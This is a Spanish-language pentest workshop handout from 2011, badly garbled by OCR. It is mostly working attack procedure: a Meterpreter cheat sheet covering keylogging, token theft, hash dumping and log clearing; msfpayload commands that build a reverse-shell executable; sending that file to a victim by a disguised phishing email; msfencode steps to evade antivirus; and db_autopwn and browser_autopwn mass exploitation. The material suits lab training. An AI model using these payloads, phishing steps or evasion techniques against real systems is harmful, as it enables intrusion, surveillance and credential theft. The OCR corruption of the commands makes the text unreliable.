Imsfeli exploit'multithandler PAYLOAD=windows/meterpreterreverse_tcp LPORT=443 E

meterpreter> background

Fuls the Meterpreter session in background mode
Session could be recovered typing

| sessions - { to identify session 1D}

sessions - <Session ID>

meterpreter= irb
‘ Cpens meterpretar scripting menu

meterpreter> getwd
Obtain current working directory on Server's Side
meterpreter> getlwd

Obtain local current working directory

meterpreter> del <file>
Deletes the given file

meterpreter> cat <file> meterpreter> edit <file>

Read the given file Edit the given file

meterpreter> upload <src file> <dst file>
Upload a file to the target host
meterpreter> download <src file> <dst file>

Download a file from the target host

meterpreter> portfwd

Establish port forwarding
meterpreter tunnels

connections  through

Options:

-L  Local host to listen on

-l Local port ta listen on

-p Remote port to connect to

-r Remaote host to connect to

meterpreter> use <library>

Fermits. lbading extra meterpreter functionalities with the
fellowing loadable libraries:

espla Allows Deskiop spying through
screanshots

incognito Allows user impersonation sort
of commands

priv Allows filesystem and hash
dumping commands

sniffer

Allows network sniffing
interaction commands

meterpreter> sysinfo

Provides information about target host

meterpreter> getuid

Obtain the username responsible for the
current process

meterpreter> kill <pid>
Kill the given process identified by PID

meterpreter> ps
List all running processes

meterpreter> shell
Obtain interactive windows OS Shell

meterpreter> reg <Command> [Options]

meterpreter> idletime
Displays how much time the user is inactive

meterpreter> keyscan_start
Starts recording user key typing
meterpreter>keyscan_dump
Dumps the user's key strokes
meterpreter= keyscan_stop
Stops recarding user typing

meterpreter> run <script>

Harmits the of ruby aped meterprater
scripts such
checkvim killary
wreduollect melsve
gei_local_subnets migrate
getcountermeasure netenum
getgui prefetchtool
geteinet vnc_oneport [ ownc
hashdump sheduleme
keylogrecorder winenum

meterpreter> execute —f file [Dptions]
Execute the given “file” an the OS target host
Options

-H Create the process hidden from view

-a Arguments to pass to the command

-l Interact with the process after creating it

-m Execute from memmary

-t Execute process with currently impersonated
thread token

meterpreter> clearav

Clears and secure removes event logs

meterpreter> steal_token

Attemps fo steal an impersonation token from
the target process

Interact with the target OS Windows Registry using the following options and commands:

cammands

enumkey Enumerate the supplied registry key

createkey ! deletekey Create/deleted the supplied registry key

setval / queryval Set/query values from the supplied registry key

meterpreter> ipconfig

Displays network interfaces information

Cheat Sheet Meterpreter

Options:
-d Data to store in the registry value
-k The registry key

-v The registry value name

meterpreter> route

View and modify networking routing table

0
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Nessus

Nessus es un escaner de vulnerabilidades de la empresa estadounidense Tenable
Network Security, sus funcionalidades son las de:

. Descubrimiento activo de redes
. Escaneo de vulnerabilidades distribuido
. Politica de auditoria

Permite la exportacion de informes en varios formatos donde posteriormente
pueden ser asociados con Metasploit (Esta sera la parte que mas nos interese).

Pero primero veamos como funciona Nessus, una vez descargada la version para
Windows de http://www.nessus.org/download/nessus_download.php , procederemos a
ejecutar el paquete.

/2 Tenable Hetwork Security - Windows Internet Explorer

@., ) = | hiep:fimm.nessus orgjdownloadjnessus_download php B 7 S
0 2\
Archivo  Edicion  Ver Favoritos  Herramientas  Ayuda A /
& 4 oo = p” P 2 meo . - [k pagina ~ &% Hi A E \ 4/
28| | =& Definitive download location . | @ Baseline Security Analyzer F... | @ hitp:flatintech.biz/blog/wp-... | 8 Tenable Network Security X =1 = B - o= - :kPégina - i) Herramientas _/
sl
STENABLE .
@7
£ Di
Network Security ook
Red
Solutions Products Nessus® Demos Partners Online Store
jona
o
H15° | L3¢
You need to subscribe to a plugin feed to be able to use Nessus. Please click = _LLZ PF
here to get one for free (home users) or to purchase one (corporate users). @ -

r'- Download Nessus 4.4.0:

Py
EZ windows XP, 2003, Vista, 2008 & 7 (64 bits):
Messus-4.4.0- amd64.msi (12273 KB)

ry
&3 windows XP, 2003, Vista, 2008 & 7 (32 bits):
MNessus-4.4.0-1386.msi (11736 KB)

Using Nessus at work? When using Nessus in a
+. (. -

hitp:f/downloads, nessus org/nessusad) phpifile=hlessus-4.4.0-1386 milicence_accept= sedzcd3d7ccogTECaH 2t el @ et ®iw% -
@icio| @ 26-| Dae-|[Fa- Ba | v | w0 @ © @ «H 5P REA®DM 50

Pagina de descarga de Nessus

Una vez instalado accederemos al registro

http://www.nessus.org/plugins/?view=register-info en nuestro caso de la version
home feed la cual es gratuita para uso personal y donde indicaremos una direccion de
correo electronico donde nos enviaran el codigo de activacion del programa.

Comprobado el correo donde nos envian el codigo de activacion, accedemos a
inicio/programas/Tenable Network Security/Nessus/Nessus Server Manager
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B! nessus Server Manager n

¥ Start the Messus server when windows honts

‘when enabled, the Messus server will be automatically
starked by Windows every time the system boats up.

Your scanner is not registered and therefore can not receive the
newest vulnerability checks, Register now to be able to fetch the
newest plugins from Tenable!

Obtain an ackivation code I

Activation code:

| Register |

The Messus server is not running.

Skop Messus Server | Stark Nessus Seryer |

Activacion de nessus

Y alli introduciremos el codigo donde seguidamente empezara la descarga de los
plugins y actualizaciones.

Nessus se compone de dos partes, Servidor y cliente, para el escaner accedemos
por entorno web como cliente a la pagina que el Server nos brinda.

Accederemos a Nessus user Management y crearemos un usuario con derechos
de Administrador

Ahora desde Nessus cliente accederemos a la consola Web de la aplicacion

][ ervor e contitcada | 42/ | | [cooo=

sssss 0~ B - @ - paans - Hemamientes <

Nessus’

Hi%e | L3

N7 - e

Login

#wicio| W2 nessus... |[B3imtern.. + Hmetaspioit.. | msvon 90 @ © @ | 8 @ 74
Biniio| Wareons.. Btz | ) |
Inicio Cliente de Nessus
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Introduciremos el wusuario y la contraseia del Administrador creado
anteriormente.

Esta pantalla consta de cuatro apartados de derecha a izquierda:

Uses
Policies
Scans
Reports

La primera de ellas nos muestra los usuarios que estan creados.

Las Policies nos permiten crear la configuracion de la selecciones de los
elementos a escanear creando un perfil.

Los scans desde aqui realizaremos los escaneos a otros equipos donde queramos
consultar sus vulnerabilidades.

v 1
[15 betps:fiocahost:ansa) 158 rror de certiicaa || 42| % | [0

Edicién Yer Favoritos  Herramientas  Ayuda

e Wesss -6 -

Reports

Report Info
Name: escaneo aurso
Last Update: Nov 20, 2010 18:48 192,168.1.80

Status: Running

Show Fiters

Reset Fiters

Active Filters

I P @ I - A
@icio| By | B |[@En. B2 Do | Hweov O(/0 0 © O ||« smme o d IQE® O™ 6

Escaneando en Nessus

Report una vez realizado el scan podremos consultar con un informe el cual
podremos exportar en formato xml o nbe para importarlo con metasploit.

e Pag 61
Bernabé Mufioz (bmm@reus.tinet.org)




TALLER AUDITORIA'Y PENTEST 2011

{8 Wessus Report -Windows Internet Explorer
G5 =

archivo Edicidn Wer Favortos  Herramientas  Ayuda

Ve < [ Nessus Report 2y Pagina = Herramientas +

The following plugin IDs have problems associated with them. Select the ID to review more detail. s | Ls

PLUGIN ID#
-

#OFISSUES by yGiN NAME ¥ SEVERITY ¥
High Severity problem(s)

47750 1 Windows Shell Shortcut Icon Parsing Arbitrary Code Execution (2286198) -

47045 1 Windows Help Center hcpi Protocol Handler Arbitrary Code Execution (2219475 I Sestypmes)
25124 1 Sun Java Web Start Unauthorized Access (102881) RN Sovonity pioiomin)
25627 1 Sun Java Web Start Persistenceservice Application Traversal Arbitrary File Overwrite (102057) 10 Severlty problem(s)
16226 1 Sun Java JRE Plugin Capability Arbitrary Package Access mgﬂ:ew"“’ protiumi(s)
42373 1 Sun Java JRE Multiple Vuinerabilties (269868 / 269869 | 270476 . o et protiams)
40495 1 Sun Java JRE Multiple Vulnerabilities (263408 / 263409 / 263428 .) 1) Soventy probiem(s)
36034 1 Sun Java JRE Multiple Vulnerabilities (254569 | 254611/ 254608 .. 1o Seviyptiemio)
35030 1 Sun Java JRE Multiple Vulnerabilties (244986 et al) TR0 Sovedtty pivsiem(s)
31386 1 Sun Java JRE Multiple Vulnerabilities (233324-233327) o vty
23931 1 Sun Java JRE Multiple Vulnerabilities (102729  102732) ERH] Sevaity pioviemte)
25370 1 Sun Java JRE Image Parsing Vulnerabilities (102034) 1‘3: R S )
2022 1 Sun Java JRE GIF Image Handling Buffer Overflow (102760) U (elBist
25003 1 Sun Java JRE Font Parsing Privilege Escatation (103024) e ]
31344 1 Sun Java JRE Applet Handiing Privilege Escalation (231261) 1 evealiy Siomiol

#ioow -

«HBme AR DQE@ DM o5

@ rteet

Bnico| Ew_ | o [[B21- Bov-[Be | v @O0 OO
Informe de vulnerabilidades detectadas

Para poder realizar un escaneo completo de vulnerabilidades tenemos que
indicar en policies las credenciales de un Administrador local del equipo remoto.

Zate Berg ha creado un plugin para Metasploit desde el cual podemos realizar
escaneos de vulnerabilidades mediante Nessus en el entorno de msfconsole y incluirlos
directamente a la base de datos de metasploit para ser explotados.

Como funciona el Plugin de Zate Berg

Msf> load nessus

Carga el Plugin
Msf> nessus_help

Ayuda nessus
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Msf> nessus_connect localhost w

Conecta con el servidor Nessus.

onnecti
uthenticated

Conecta con nessus

Msf> nessus_policy list w

Muestra las politicas creadas en nessus.

Autenticacion en Nessus

Msf> nessus_scan _new -h w

Realiza un nuevo escaneo de vulnerabilidades

Escanear en Nessus

Msf> nessus_scan_new 1 nombre del report 192.168.1.80
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Lista de informes

Msf> nessus_scan_status w

Muestra el estado de escaneo.

Cwrer Status Curre

You can:
port to database :
can =

Comprobar el estado del escaneo

Cuando ha finalizado el scan de nessus es hora de realizar la importacién del
report a nuestra base de datos de metasploit , conectaremos con ella con el siguiente
comando:

Msf> db_create metasploitdb

Crea una instancia para la base de datos.

El comando help nos mostrara los comandos que podemos utilizar para movernos por la
base de datos
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J
wtput automatically
List all ic
ow the current d
t
List all
rtch b

Ayuda modulo base de datos de metasploit

Msf> nessus_report_get ID report ]

Importa el reporte generado en nessus a la base de datos de metasploit

Comprobar el estado del escaneo

Cuando ya se ha realizado la importacion, podremos consular los hosts

escaneados, con los servicios detectados y las vulnerabilidades existentes en cada
equipo

Msf> db_hosts
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infao

info name

Hosts encontrados

Msf> db_vulns

Nos muestra las vulnerabilidades que se ven afectadas.

Vulnerabilidades encontradas

Msf> db_services

Nos muestra los servicios abiertos en el equipo

Servicios encontrados

|
d

Msf> db_autopwn —x
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1!
1
1
1!
1!
1
1
1!
1!
1
1
1!
1!
1
1
1!
1!

Explotacion masiva

Msf> db_autopwn —x —t — -r

Explotard de forma masiva las vulnerabilidades encontradas.

L

Information

Sesiones abiertas con meterpreter

Con el fin de facilitarnos la busqueda de informacion con los resultados de
Nexus o nmap, os muestro una herramienta que mediante la importacion de los ficheros
xml de Nexus y de nmap, nos permite tener la informacion clasificada y ordenada con la
posibilidad de crear filtros personalizados, la podeis descargar de
http://www.woanware.co.uk/news/networkscanviewer-v1-0-5/ , es gratuita y muy
Intuitiva.
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B HetworkScanViewer

Fie  Tools  Help

| Type ~ Host ~ Port ~ Service ~ Search =]

Fiesuls | Fiters | Host Summany| Log |

Type | Host | Part [ Protocal | state Service Severty | Plugin ID Plagin Name [ Plugin Famil =]

Input Folder [ feel|
Dulput Folder | _!
0K Cancel

< Ji Ry =

#micio| | = Hetw... (4B ~| Enetw. | B]cursc | MSVDM lﬁe 290

Solo tenemos que indicarle en input folder la carpeta donde tenemos los ficheros
de Nexus o nmap en xml, y en output folder la carpeta donde queremos guardar los
ficheros generados.

Una vez esta cargada la informacion podemos proceder a filtrar por host, por
servicio, por puerto...

88 networkScanViewer

Fie Took  Help

| Type ~ Host - Port ~ Service ~ Search =]

Fiesults | Fiters | Host Summary | Log |

Type | Host [Pt [Pmtocol [ State [ Service | Seveity | Plugin1D | PuginHame | PluginF.~ =
Nessus 192168, = s i i

[ . — [ | (]
Nessus 19211 Copy mardp i i

Nessus 19211 e 2 18405 Microseft Windo..  Window
Messus 192211 Type 1 0218 Teminal Service... Mise
Nessus 19210 | 1 10940 Windows Temin... Window
Nessus 19211 I n Hast 3 49205 MS1006T: Vi, Window
Messus 19210 Fort 3 42118 MSIH0E2 Vi, Window
Nessus 19211 Clear Fiters 3 35070 MSOBO7T. Vi, Window
Wessus  192160THD 885 fep Protacel 3 37133 MSO8031: Cum..  Window
Messus 192168180 445 tp ShiveE 3 49219 ME1006T: Vi, Window
Nessus  192.1681.80 145 tp 3 48405 ME10054 V.. Window
Nessus  1921681.80 145 tep Severity 3 47556 MS10012 Wi, Window
Messus 192168180 445 tcp B 1 10396 Microseit Windo...  Window
Nessus  192.1681.80 145 top 1 10860 SME UseHost . Window
Nessus 192.168.1.80 445 tep Plugin Family 1 10859 SME Lsaluen. wiindow
Messus 192168180 445 tep o 3 45020 ME10016: Vi, Window
Messus  192.168.1.80 145 tep PO 3 43876 Adobe Reader <. Window
Messus  192.168.1.80 45 tep Product 3 39355 Adabe Reader <... Window
Messus 192168180 445 tep : 3 35621 fdobe Fieader <... Window
Nessus  1921681.80 145 tp LEEE 3 148173 Adobe Reader <. Wwindow
Messus  192.168.1.80 45 tep <ifs 3 47165 Adabe Reader <... Window
Messus 192168180 445 tep cifs 3 33256 idobe Fieader <... Window
Nessus  1921681.80 145 tcp oifs 3 34635 4dobe Reader <. Wwindow
Messus  192.168.1.80 45 tep cifs 3 48375 Adabe Reader <... \window
Messus 192168180 445 tcp cifs 3 45505 fdobe Fieader <... Window
Nessus  1921681.80 145 tp cifs 3 50614 Adobe Reader <. Window
Messus 192168180 445 tep cifs 3 44644 Adabe Fieader <... Window
Nessus 192168180 445 tp cifs 3 36746 idobe Fieader g Window
Nessus  1921681.80 145 tp oifs 3 47120 4debe Fieader <. Window
Messus 192168180 445 tep cifs 1 20086 Adabe Rieader .. Window
Nessus 192168180 445 tp cifs 3 46312 ME10:4030 Vi, Window
Nessus  1921681.80 145 top oifs 3 148291 ME10054 Wi, Window
Messus 192168180 445 tep cifs 1 30667 Windows Secur..  Window
Nessus 192168180 445 tp cifs 3 45378 MS10:018 Cum... Window
Nessus  1921681.80 145 tp oifs 3 15838 ME10032 Wi, Window
Messus 192168180 445 tep cifs 3 39341 MS0S01%: Cum.. Window
Nessus 192168180 445 tcp cifs 3 46641 MS10:034: Cum.. Window
Nessus  1921681.80 145 tp cifs 3 48290 MS10053 Cum.. Window
Messus 192168180 445 tep cifs 3 43948 ME10:071: Cum.. Window
Nessus  192.168.1.80 445 tp cifs 3 34744 MSOB0B3 Vi, Window
Nessus  1921681.80 145 tp cifs 3 44433 MS10013 Wi, Window
Niassus 192.168.1.60 445 tep cifs 3 42107 M503051 Vulrlx.. Windaw -
« » =

Loaded 624 results

#iinicio | == Hetw... [4Ex. +| Eetw | Ecurse | MsVOM /EG 99

@UESEDE on

Podemos generar informes con el resultado de la consulta.
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Msfpayload

Habra momentos en los que no tendremos la posibilidad de ejecutar un exploit
en remoto para conseguir una shell para ello metasploit nos proporciona un modulo de
creacion de payload para poder configurarlo a nuestra necesidades, en este ejemplo
mostraremos como creamos un payload que posteriormente enviaremos a la victima y
esta una vez ejecutado nos brindara una sesion de meterpreter.

En entorno Windows msfpayload lo ejecutaremos desde el shell de cygwin ya
que desde msfconsole no funciona.

Ve a inicio/programas/metasploit3/Cygwin Shell

Msfpayload Windows/meterpreter/reverse_tcp lhost=192.168.1.50 Iport=4444 X >
/tmp/acceso.exe

Nos creara un fichero el cual enviaremos ya sea mediante correo, link a web, a la
victima para que lo ejecute.

0§ MetasploitCursCAST.doe - Microsoft Word

frchivo  Edicién  Yer [msertar Formato  Herramisntas  Tabla  Ventana 2 s ina prege . x m
DEHRa8lvE

A4 Mormal + Times Hew Roman -

L

o 1o [- [E]]

archivo Edicién  ver Favortos  Herramientas  Ayuda a»

1 @nnas - = 7 /"Easqueda [ carperas B X ) -

Direceién [ C:larchivos de programatietasploitiFrameworiitmp =1 1

| Corpetas % | | Nombre | Tamafia | Tipo | Fect

% (2 Hammer Software B [Tresuladn.exe 73KB  Aplicacin 231
D hexplorer ™ captura.peap.raw OKB  Archivo RAW 141
150 HERwrite I resultat.peap.raw OKB  Archiv RAW 031

# S H

# I2) InstallShield Installation InFarmation

% I3 Internet Explarer

# 2 Iis J
(SR

# ) Java

%) I3 LanTricks

# 3L

# ) Logitech

# [22) Macallan

%) I3 Mavituna Security

12 Messenger
=) 123 Metasploit
_ = = [ Frameworks —
=E/z8 4 o I

O = L +
Dbuiar - L | Autoformas > N Y |23 cygdrive

Pig. 42 Ser. 1 42j42 O dev _
Bjicio| Hw | Gw. |Bo | B3-[See om0 OO PEC T FRrNCL R

Configuracion msfpayload

En nuestros equipos tendremos que dejar a la escucha el Puerto configurado,
mediante metasploit de la siguiente manera:
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Msf> Use multi/handler

Msf> set payload Windows/meterpreter/reverse _tcp
Msf>set lhost 192.168.1.59

Msf>set Iport 4444

Msf>exploit

Esto dejara a la escucha por el Puerto 4444 la conexidn inversa de meterpreter

Esperando una conexion

El metodo de infeccion :

El método de infeccion mas habitual puede ser un enlace a una pagina web maliciosa 1
mediante el envio por correo, para ello usaremos la segunda opcién con un cliente de
correo freeware mediante consola de comandos.

Se puede descargar de
http://www.beyondlogic.org/solutions/cmdlinemail/cmdlinemail.htm

Es para sistemas Windows y tienes las siguientes opciones:
Bmail /? ayuda

-s Nombre del servidor

-p SMTP port (es opcional)

-t to: A quien va dirigido el correo
-f: from: Quien lo envia

-b cuerpo del mensaje

-h genera las cabeceras

-a Asunto (opcional)

-m Nombre fichero

Ejemplo de envio:

bmail -s 192.168.1.59 -t postmaster@hotmail.com -f dastraler@catal.cat -h -m
body.msg

donde body.msg es el adjunto que empaquetaremos anteriormente con otra aplicacion
llamada mpack descargable desde :
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ftp://ftp.andrew.cmu.edu/pub/mpack/old/mpack15d.zip

Con la cual nos permitira crear objetos MIME y adjuntar ficheros en el correo.
La sintaxis de la erramienta seria la siguiente:

mpack -s "OFerta'" -d body.txt -c application/pdf -o body.msg mailsend.pdf
Resumiendo, con mpack empaquetamos el fichero que queremos enviar llamado

mailsend.pdf con el cuerpo del mensaje dentro de body.txt en body.msg, una vez echo
esto creamos el correo con bmail y la instrucciéon de la linea anterior.

!s. body.txt - Bloc de notas !E E

archivo  Edicidn - Farmako  Wer  Awvada

[rwitacion felicidades

Sl s

Cuerpo del mensaje personalizado

Ejecutamos mpack

. CAWIHDOWS 'systemn32'cmd.exe

C:smailsend>mpack —s "0Ferta" —d body.txt —c¢ applicationspdf —o body.msg mailsenms
d . pdf

C:smailsend>_

Ejecucion mpack

Una vez creado body.msg ejecutamos bmail

sy CAWIHDOWS 'systemn32'cmd.exe

IC:smailsend>bmail -5 192.168.1.5% —t postmasterlfhotmail.com —f clastralerl'_‘catal.cn
at “h —mn body.nsyg

Command Line SMTP Emailer U1 .67
Copyright(C> 2082-28004 Craig.Peacockfheyondlogic.org

Opening connection to 192.168.1.5% [192.168.1.57]1 on port 25
2280 QUASIMOD Macallan Mail Solution (4.8.16.828> SMIF Server Ready
258 OK Meszage Accepted for Deliverwy

C:smailsend>_

Ejecucién bmail
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& OFerta
Archiva  Edicion  Wer  Herramientas Mensaje  Ayuda ﬂ'
5 x>
& & .8 & X © O
Responder  Responde... Reenviar Irnprirnir Eliminar Anteriar Siguiente
De: dastraler@catal cat
Fecha: lunes, 27 de didembre de 2010 135:24
Para: poskmaster@hotrmail . com
Asunto: OFerta
Adjuntar: Emailsend.pdf (123 KB

Thwitacion felicidades

Resultado de creacion del correo

Una vez que la victima ejecuta el fichero, nos retorna una shell meterpreter

2.1.80:1052) at 2010-11-30 12 43 +0100

Sesion meterpreter creada

Bernabé Muifioz (bmm@reus.tinet.org)
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Msfencode

Actualmente la mayoria de equipos disponen de soluciones antivirus por lo que
nos encontramos con una traba a la hora de ejecutar ficheros infectados, una de las
caracteristicas de metasploit es su modulos de encoding el cual nos permitira codificar
los ficheros infectados para evitar ser detectados por los antivirus.

Msf> msfencode -h

Nos muestra todas las opciones disponibles

all, elf,mach

Ayuda de msfencode

Msf> show encoders

Nos muestra todos los encoders posibles

manual

Encoders disponibles

Bernabé Muifioz (bmm@reus.tinet.org)
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Lo primero que haremos serd crearnos nuestro exe infectado para que nos
retorne una consola remota.

Recordad msfpayload en Entornos Windows lo ejecutaremos en la shell de
cygwin ya que si no funcionar3 :

$ msfpayload Windows/meterpreter/reverse_tcp lhost=192.168.1.59 lport=4444 X
> /tmp/accesosinencoder.exe

sinencodear. exe

Proceso de ocultacion de msfencode

Esto nos creard el fichero a ejecutar en el sistema remoto.

B tmp HED
frchivo  Edicion  Wer  Favoritos  Herramientas — Ayuda . iT.'
Q Atras = > B 'ﬁ‘ 7 Blisqueda l!L.:- Carpetas | =y | 3° x m '
Direccidn I_‘] C:\Archivos de programaiMetasploitiFramework3ikmp j Ir
Carpetas > | | Mombre Tamario ] Tipo ] Feck
I+ |2) Hammer Software ;J IEMICOE : F3KE  Aplicacidn 031
=) hesplarer mcalsenseencode.exe T3KE  Aplicacidn a1t
) HEXwmrite _:___I calc_bacdoor.exe 117 KB Aplicacion 011
¥ ) HP =y [jacceso.exe T3IKE Aplicacidn 3001
I+ |Z) Installshield Installation Information (=] resultadonmap. xml 2KB  Documento XML 30i1
[ [ Internet Explorer Fresultada.exe TIKE Aplicaciin 23
H ) Iris ™ captura.pcap.raw OKB Archivo RAW 1411
= 18P ™ resultat.pap.raw 0KE Archivo RAW 031
& B 1ava Ecalc.exe 113KE  Aplicacidn 2040
+ |2 LanTricks
+ ) LR
I+ |2 Logitech
1+ |5) Macallan
[+ |0 Mavituna Securiky
I Messenger j
. | B | |

Fichero generado

Mientras pondremos al equipo atacante a la escucha con el modulo multi/hander
Use multi/handler

Configuraremos los parametros correspondientes,
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pro

Puertos en espera
Ahora nos toca infectar a la victima, ya sea por correo, mensajeria, url, usb.....

Y sorpresa, nuestro antivirus detecta el fichero.

@ Mo se piede mover Archivo: Ma se puede leer del disco o archivo de origen,

#Aceptar

© ESET NOD32 Antivirus

ESET NOD32 Antivirus 4

Business Edition

Interfaz del usuario  Configuracion Herramientas v »

d Estado de la proteccion lﬁ i Cuarentena

&)
\ S Andlisis del ordenadar

= . D502 28 30c accesosinencodear exe
Actualizacidn ! \chell.exe

plooihaZl exe

&' Configuracicn

o
a Herramientas

Archivas de registra
Cuarentena

Poner en Cuarentena... Restaurar
Tareas programadas - T

SysInspector

Deteccion del antivirus

Usaremos el modulo para encodear el fichero infectado mediante una tuberia
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msfpayload Windows/meterpreter/reverse tcp lhost=192.168.1.59 Iport=4444 R |
msfencode —t exe -x /tmp/calc.exe —k —o /tmp/encodeados —e x86/shikata ga nai— 5

Podemos tambien hacer los siguiente:
Desde la consola de cygwin:

Msfpayload Windows/meterpreter/reverse tcp lhost=192.168.1.59 Iport=4444 R |
msfencode —e x86/countdown —t raw —c 10 | msfencode —e x86/call4_dword_xor —t
raw —c 10 > msfencode —t exe —x /tmp/netscanmalicioso.exe —k —o /tmp/envioS.exe —
e x86/shikata_ga nai —c 25

Ii'\"ith 512
da_nai ed with =51
hikata_ga_nai succeeded with si
hikata _ga nai ed with =1
with

with

hikata _ga nai with size
hikata_ga_nai ed with si
ed with

ed with

Adii i strador

Msfencode procesando
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IO} MetasploitCursCAST.doc - Microsoft Word

D& k|4 R
A tiaiee @Atrés - j‘. K

psqueds [ coneos | 15 3 X |-

[ =
- | Direcei6n [ C:\Archivos de programaletaspiit\Frameworkaitma
Carpetas x || nambre Tamafio | Tipo

= [ Harmer Software o] | SJaccesasinencodear.exe 73KB  Aplicacién
] [Flealsenseencode.exe 73KB  Aglicacién
5 {2 cale_bacdaorexe 117KB  Aplicacin
;, 1 | Flaccesn.exe 73KB  Aplicacion )
B 4] 1) Instalishield Installation Informatian (S rsstbacioni 50l i Help e
B % 153 Internet Explorer Elresuado.oxe
3 i T capiura, pespran ﬁ ’i Tl
3 P ¥ rosukat. pesp.raw ]
- " H calc.exe LR
- | encodeados exe
- & () Macallan i PC meker
i) & | Mavituna Security
1 1) Messenaer x
z 4 | 3 <
=nE=8

Dbuary L [Aucfomas N ZNOOE 4G @ E d-L-A-==ca @
Pag. 47 Sec. 1 47159 A 76cm  Lin 3 Cal. 1 aRB E} & Espafiol (Es. E lobe Readel ortmbs.
diwicio| Zil2ve|[ v B pe.. | Di2e ] Bwe.| wsvon @O @ O @ « SR @ES DL DM 1308

El antivirus no detecta el nuevo fichero

Podemos comprobar que nuestro antivirus no ha detectado nada y ha permitido
ejecutar el exe que nos ha devuelto la consola meterpreter.

IO} MetasploitCursCAST.doc - Microsoft Word

archive  Edici LR !Eu
e = %

Tarragona
HL1® | LO®
meter
B calculadora
Edicién Ver Ayuda

[ ]

e e e e e e

B EIEE IR
Dbuiar~ g [Auefomas N\ N O E 4G @@ - Z-A-=S=7
Pig. 47 Sec. 1 4%ss A T6cm Ln 3 Col2 a E o Espafio)]
iicio| [Flav.s en. | B e | D2t Bve.| wevon @ 0@ © @

Sesién meterpreter creada

H| |« dmEs'# 30 8EedL oM un

Hay que afiadir que segun que antivirus detectan la consola con lo que habra primero
que comprobarlo, os dejo una captura de pantalla donde se ha enviado una consola y nos
muestra los antivirus que la han detectado.
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Current status: finished not revieved 1]
Result 18/43 (41.9%) Satety seore: -
£ Compact Print resuts &
Antivirus Version Last Update Result
AhnLah-¥3 2011.01.02.01 2011.01.02 -
Antivir 7.11.1.0 2011.0L1.03 TR/Crypt.XPACK. Gen
Antiy-AVL 2.0.3.7 2011.01.03 -
Avrast 4.8.1351.0 2011.0L1.03 Win3z: Vykuk
dvrasth 5.0.677.0 2011.0L1.03 Win32: Vykuk
AVG 9.0.0.851 2011.0L1.03 =
BitDefender 7.2 2011.0L1.03 Backdoor. Shell.AC
CAT-QuickHeal 1l.00 2011.0L1.03 -
Cland?v 0.956.4.0 2011.0L1.03 PUL. NetTool.%canner-4
Command 5.2.11.5 2011.0L1.02 W3z /Swrort. . —
Comodo 7Z84 2011.0L1.03 Packed.Win3Z.MUPX. Gen
Drlieb 5.0.2.03300 2011.01.03 Trojan.Packed. 196
Ensisoft 5.1.0.1 2011.0L1.03 -
eSafe 7.0.17.0 2011.01.02 =
eTrust-Vet 36.1.8078 2011.0L1.03 -
F-Prot 4.6.2.117 2011.01.02 W3z /5wrart. .
F-Secure 9.0.16180.0 2011.01.03 Backdoor.Shell.AC
Fortinet 4.2.254.0 2011.01.03 =
GData 21 2011.0L1.03 Backdoor.Shell.AC
Tkarus T3.1.1.80.0 2011.01.03 =
Jiangmin 13.0.900 2011.0L1.02 -
ElintiVirus 9.75.3406 2010.12.31 Wirus
Kaspersky 7.0.0.125 2011.01.03 -
HMcifee 5.400.0.1158 2011.01.03 =
MchAfee-GW-Edicion 201o.1c 2011.0L1.03 -
Microsoft 1.6402 2011.01.03 Trojan:Win3Z/Swrort.i
HOD32 5756 2011.01.03 a variant of Win3dzZ Rozena.AG LI

Podemos observar que antivirus reconocidos como Kaspersky o mcafee no la detectan.
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Auxiliary

En el moédulo auxiliary existen diversos sistemas de explotacion, escaneo, y
descubrimiento del sistema. Son muchos para poder abarcar en este taller, con lo que os
mostraré uno que me impacto bastante por su sencillez de uso y su rapidez.

Se trata de Server/browser autopwn, el cual mediante un enlace a una url
maliciosa creada por metasploit permite encontrar todos las vulnerabilidades del
browser y hacer una autoejecucion de los exploits, devolviendo una shell meterpreter al
equipo.

E bash !E E

Wi pSsip_imvite_spoof narmal SIP In &

r_autopwn' . ..

ri [:It'i an

HTTP Client Automatic Exploiter

Server/browser_autopwn
Buscamos el script con search server/browser_autopwn

Cargamos el script con use server/browser_autopwn

ription

normal  HTTP Client Automatic Exploiter

Seleccion del script

Con show options comprobamos los pardmetros necesarios
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The URI to us ar t Toit {default is r

iliary ( ) how options

Module options:

Consulta de los parametros
Configuramos los pardmetros necesarios para su ejecucion

A bash

Configuracion de los parametros

Ejecutamos el exploit, es entonces cuando cargara en el servidor web malicioso los
modulos para ser explotados

bug with payload window

ad windo erpret

cp on port

Ejecucion del exploit
Ahora desde el equipo victima nos conectaremos al servidor web malicioso

http://192.168.1.59

y viola, metasploit ha encontrado una vulnerabilidad, la ha explotado y nos ha
devuelto nuestra consola meterpreter
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tcp on port

from 1

Resultado con consola meterpreter.
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Nmap

Os muestro la herramienta como parte de nuestro analisis de vulnerabilidades
dentro de metasploit ya que existe un modulo de importacion en el que podemos
incorporar los resultados de nmap a la base de datos

Nmap es un programa de codigo abierto que sirve para efectuar rastreo de
puertos escrito originalmente por Fyodor Vaskovich , se usa para evaluar la seguridad
de sistemas informaticos, asi como para descubrir servicios o servidores en una red
informatica. (Definicion segiin Wikipedia)

Podriamos decir que nmap es la navaja suiza de toda persona que busque puertos
y servicios, sin a veces hacer mucho ruido.

El uso de nmap hace necesario un extenso manual el cual no es mi intencion, ya
que seria mas largo de lo deseado, os mostraré un cuadro con las opciones mas comunes
y a partir de ahi, dependera de vosotros el nivel de conocimiento de la herramienta que
querais llegar a obtener.

Deteccion de servicios y versiones

-5V deteccion de la version de servicios —all-ports no exchur puertos
--version-all probar cada exploracion

--version-trace rastrear la actividad del analisis de version

Especificacion de objetivos

Dirvecciones IP, nombres de sistemas, redes, ete

Ejemplo: scanme.nmap.org, microsoft.com/24, 192.165.0.1; 10.0.0-255.1-254
-iL fichero lista en fichero -iR n elegir objetivos aleatoriamente, 0 nunea acaba
—exclude —excludefile fichero exchur sistemas desde fichero

-0 activar deteccion del 5. Operativo —fuzzy adivnar deteccion del SO
| P P B e --max-os-tries establecer niimero maximo de mtentos contra el sistema objetivo
-P5 n tep sym ping -PA nping TCP ACK -PU n ping UDP o . moo
_PM Netask Rec PP Timestaup Reg -PE Echo Reg LEvasion de FirewallsTDS . X
-sL analisis de listado -PO pmg per protocole -PN No hacer ping £ f?a gmenfar 1-_’351“_9235 -Ddl.d2 e1:1c_ubm analisis con sefiuelos
-n ne hacer DNS -R Resolver DNS en todos los sistemas objetivo -Sip fal*,a’— direccion origen ~gsomil ek falsear puertd angen :

—-randomize-hosts orden —spoof-mac mac cambiar MAC de origen

--traceroute; trazar ruta al sistema (para topologias de red)

: i _PP_ 3]
